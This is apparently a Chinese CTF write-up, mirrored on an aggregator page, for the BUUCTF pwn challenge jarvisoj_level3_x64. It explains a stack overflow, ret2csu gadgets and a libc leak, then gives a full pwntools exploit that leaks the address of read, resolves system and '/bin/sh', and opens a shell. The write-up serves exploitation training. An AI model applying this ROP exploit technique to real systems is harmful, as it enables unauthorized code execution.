当前位置: 首页 > news >正文

[buuctf]jarvisoj_level3_x64

首先查看一下文件的保护措施
image
在用ida打开看一下
image
这里很明显在read函数进行输入的时候存在栈溢出,然后观察一下文件,没有后门函数,也没有可以用的binsh,那就可以向libc泄露这方面去想了
由于这里是64位的程序,所以在调用write函数进行泄露时,首先要对寄存器rdi,rsi,rdx进行赋值,那就看看有什么可以用的gagdget
image
这里可以看到存在gadget对rdi,rsi进行赋值,但没有对rdx进行赋值的
但其实在函数libc_csu_init存在对rdi,rsi,rdx进行赋值的片段
image
这里划为csu1
image
这里为csu2
先通过csu1对各个寄存器赋值,在间接对rdi,rsi,rdx,进行赋值
但是在跳转到csu2在进行继续执行的时候,要将各个寄存器的值赋值为0,清理栈并重置寄存器值,为下一次调用准备好栈布局

点击查看代码
from pwn import *
from LibcSearcher.LibcSearcher import LibcSearcher
io=remote("node5.buuoj.cn",28249)
elf=ELF("./level3")
read_got=elf.got["read"]
write_got=elf.got["write"]
main=elf.symbols["main"]
csu1=0x4006A6
csu2=0x400690
rdi_ret=0x4006b3
ret=0x400499
def csu_args(extra, rbx, rbp, r12, r13, r14, r15):payload = p64(extra) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)return payload
payload1= b'A'*(0x80+8)+ p64(csu1) + csu_args(0, 0, 1, write_got, 8, read_got, 1) + p64(csu2) + csu_args(0, 0, 0, 0, 0, 0, 0) + p64(main)
io.sendafter(b'Input:\n', payload1)
#io.recvuntil(b"World!\n")
#read_addr=u64(io.recv(6).ljust(8,b"\x00"))
read_addr=u64(io.recv(8))
libc=LibcSearcher("read",read_addr)
offset=read_addr-libc.dump("read")
system=offset+libc.dump("system")
binsh=offset+libc.dump("str_bin_sh")
#io.recvuntil("Input:\n")
payload2=b"A"*(0x80+8)+p64(rdi_ret)+p64(binsh)+p64(system)
io.sendline(payload2)
io.interactive()
http://www.rkmt.cn/news/23741.html

相关文章:

  • SpringBoot系列十三:SpringBoot面试常见问题
  • 2025 夹丝玻璃源头厂家最新推荐排行榜:解析防火 / 艺术 / 酒店等多场景厂商优势,助力精准选型
  • 2025 中空板源头厂家最新推荐排行榜揭晓:覆盖全产业链,老牌与新锐共筑品质标杆
  • 2025 年最新推荐排水沟厂家排行榜:聚焦树脂 / 线性 / 树脂混凝土 / 成品 / U 型排水沟优质企业
  • 今日学习笔记
  • 5.vtk学习——点云显示进阶
  • [LangChain] 03. 缓存
  • C语言编程之旅:从入门到实战
  • docling
  • Selenium元素定位总失败?这8种定位策略你必须掌握
  • 2025 年钢闸门源头厂家最新推荐口碑排行榜:聚焦防腐技术与密封性能,助力水利工程采购精准选型固定卷扬/四川卷扬/螺杆/螺杆式启闭机厂家推荐
  • 【Azure Developer】使用Azure Developer CLI (azd)部署项目时候遇见无法登录中国区Azure的报错
  • 2025 年清污机源头厂家最新推荐榜单:聚焦耐腐蚀与智能清污实力,权威筛选优质品牌供采购参考回转式/回转式格栅/不锈钢/四川清污机厂家推荐
  • Intellij IDEA里的各种快捷键
  • 浅谈 Tarjan 算法
  • QOJ #14426. Grid Problem 题解
  • 2025 10 18
  • 【Linux】备份
  • 2025年国内木饰面板品牌Top10权威排名及选购指南
  • 2025年市面上工程石材品牌与供应商深度解析:四川汇才石业领跑优质选择
  • 2025年市面上工程石材品牌、产品与工厂终极指南:聚焦四川汇才石业有限公司
  • 鸡兔同笼问题
  • 2025年市面上镀锌桥架供应商前十强权威评测
  • Remainder game
  • ResNet网络
  • 079_尚硅谷_双分支基本使用
  • nextcloud安装部署与升级
  • 在运维工作中,在k8s集群使用命令查看etcd集群状态
  • 常见的动态规划模型的初始化总结
  • 数论-supergcd